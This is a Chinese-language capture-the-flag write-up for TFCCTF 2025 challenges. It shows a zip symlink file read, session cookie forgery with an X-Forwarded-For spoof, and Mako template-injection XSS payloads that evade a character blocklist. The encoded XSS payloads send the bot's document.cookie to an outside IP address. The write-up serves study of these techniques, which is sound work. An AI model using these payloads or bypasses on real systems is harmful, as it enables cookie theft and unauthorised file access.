TFCCTF-2025
TFCCTF 2025
Web
SLIPPY
Slipping Jimmy keeps playing with Finger.
附件:attachment
开启docker或者启动实例配合审计看一下站点功能。主要是通过/upload
路由上传一个zip压缩包;然后经过解压后展示在/files
路由,同时还能下载zip压缩包中的文件。
这很容易想到zip软路由实现任意文件下载,事实也是如此
ln -s /etc/passwd test1 |
上传test1.zip
后去下载test1
文件就能得到/etc/passwd
文件。但是这里并不知道flag
位置。
Dockerfile
中写明:
RUN rand_dir="/$(head /dev/urandom | tr -dc a-z0-9 | head -c 8)"; mkdir "$rand_dir" && echo "TFCCTF{Fake_fLag}" > "$rand_dir/flag.txt" && chmod -R +r "$rand_dir" |
在根目录随机生成了一个文件夹,flag
文件放在里面,所以我们需要知道根目录的文件夹的名字,软路由明显不能实现这个目的。
在router/index.js
中还有一个路由:
router.get('/debug/files', developmentOnly, (req, res) => { |
fs.readdir()
能够枚举目录内容,并且直接对req.query.session_id
内容进行拼接,如果能访问该路由则可以通过传参?session_id=../../../../
来获取根目录的内容。目前的难题还有developmentOnly
,在middleware/developmentOnly.js
中有声明:
module.exports = function (req, res, next) { |
需要满足req.session.userId === 'develop' && req.ip == '127.0.0.1'
,首先req.ip
比较容易,在server.js
配置了app.set('trust proxy', true);
,我们能够通过X-Forwarded-For: 127.0.0.1
来实现。
最后是req.session.userId
的伪造,先看看session
的配置:
app.use(session({ |
cookie
的结构为:connect.sid "s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE"
,secret
用于签名session
,并且session
全部存储在内存中,只有已经创建的session
才是合法的。在server.js
中已经创建过develop
的session
:
const sessionData = { |
这个session
使用<REDACTED>
作为标识存储,session
结构的前部分是标识,.
后面是使用secret
来进行sha256
哈希的签名,即session
结构为:"s:" + sessionid + "." + sessionid.sha256(secret).base64()
。
经过多次的
读取/app/.env
和/app/server.js
发现sessionid
与secret
都是不变的。
首先使用软连接任意文件读取/app/.env
和/app/server.js
内容获取sessionid
和secret
内容:
store.set('amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E', sessionData, err => { |
伪造出develop
的session
:s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE
,替换cookie
后,加上X-Forwarded-For: 127.0.0.1
请求头访问/debug/files?session_id=../../../../
来获取根目录信息:
直接软连接读取/tlhedn6f/flag.txt
获得flag:TFCCTF{3at_sl1P_h4Ck_r3p3at_5af9f1}
KISSFIXESS
Kiss My Fixes.
Ain't nobody solving this now.
附件:attachment
网站接收name_input
参数经过mako
框架渲染后返回页面,同时还能report
该name
给bot
,让bot
也去访问该页面,并且bot
将flag
设置在cookie
中。
传参name_input
后,需要经过两步处理:
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"] |
首先name_input
的内容不能含有banned
中的内容,并且内容中会对特殊字符进行html编码。我们的目的为实现XSS
,所以需要想办法绕过这几个过滤。
我们还能发现,模板传了两个参数return template.render(name_to_display=name_to_display, banned="&<>()")
,一个是
处理后的name_input
,另一个是banned="&<>()"
,但是只有banned
是通过模板渲染的,name_to_display
是通过replace
替换到模板上的,这意味着我们可以通过替换成${banned}
之类的模板语法来触发SSTI
。被过滤的字符,例如<
,可以通过${banned[1]}
来获取,所以我们依旧能构造出<script>
标签来实现XSS
。过滤的s
可以使用S
来替代,还有一些其他的字符也应该避免出现,构造一条如下的payload
:
${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}`%61%6c%65%72%74%28%31%29`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]} |

于是,构造外带cookie
的payload
让bot
访问,这就叫比较简单了,只要替换urlencode的内容即可:
${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}`%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%31%32%30%2e%37%36%2e%31%39%34%2e%32%35%3a%32%33%32%33%3f%61%3d%22%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]} |

KISSFIXESS REVENGE
Okay, NOW ain't nobody gonna solve it.
附件:attachment
根上一个相比只是增加了过滤的字符:
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="] |
把上一条payload
的%
过滤了,但是我们还能使用String['fromCharCode'](37)
来表示%
:
${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6c`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`68`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`70`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`30`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`37`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`36`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`39`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`34`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`35`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`75`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]} |
Misc
TO ROTATE, OR NOT TO ROTATE
One fine evening, A had an important mission: pass a bunch of critical configurations to his good friend B.
These configs were patterns—very serious, technical things—based on segments over a neat little 3×3 grid.
But there was a problem. B was wasted. Like, “talking to the couch and thinking it’s a microwave” level drunk. So when A carefully handed over each configuration, B took one look at it, said, “Whoa, cool spinny lines!”—and rotated it randomly. Then, to add insult to intoxication, he shuffled the order of all the patterns. Absolute chaos.
Now A has a challenge: figure out which drunkenly-distorted pattern maps back to which original configuration. If he gets it all right, B promises (in slurred speech) to give him something very important: the flag.
附件:attachment
看了一下内容,基本全是线性变化,交给ai处理。大致就是服务端会给出很多数字N,我们需要将每个数字转化为几x几方格中的线段,然后服务端经过旋转后返回结果,我们需要回答这是哪个数字N旋转来的,答对1000个就能获得flag:
import socket |

DISCORD SHENANIGANS V5
The announcement shenanigans are in play again. As a small hint, maybe bulking up on the nothingness was the best way to hide it. ;) Go get your shovels ready!
Leave the photos alone, man! The flag is not there.
有点过于隐蔽了,去DISCORD的公告里面找找,在这条的内容里面:

有一些零宽字符,把​
替换成0,‌
替换成1,每8个一组转化为字符
s = "0101010001000110010000110100001101010100010001100111101101101000011010010110010001100100011001010110111001011111011100110110100001100101011011100110000101101110011010010110011101100001011011100111001101111101" |
Reverse
FONT LEAGUES
This time, YOU give me the flag
附件:attachment
是一个字体文件,有类似于网页字体反爬的效果,我们直接分析ttf
文件,描述说,会返回O
,那我们去看看什么会返回O
,使用FontCreator
打开。

这个的名字就是输入后会变化的内容:one_f_eight_nine_a_nine_five_seven_a_zero_eight_one_six_e_three_b_e_a_three_f_a_zero_two_six_c_d_nine_a_four_seven_c_f_one_eight_one_f_b_two_c_zero_e_zero_c_nine_e_nine_four_four_two_a_two_c_seven_eight_three_b_zero_one_c_zero_eight_three_d_two.liga
转化成字符1f89a957a0816e3bea3fa026cd9a47cf181fb2c0e0c9e9442a2c783b01c083d2
就是flag.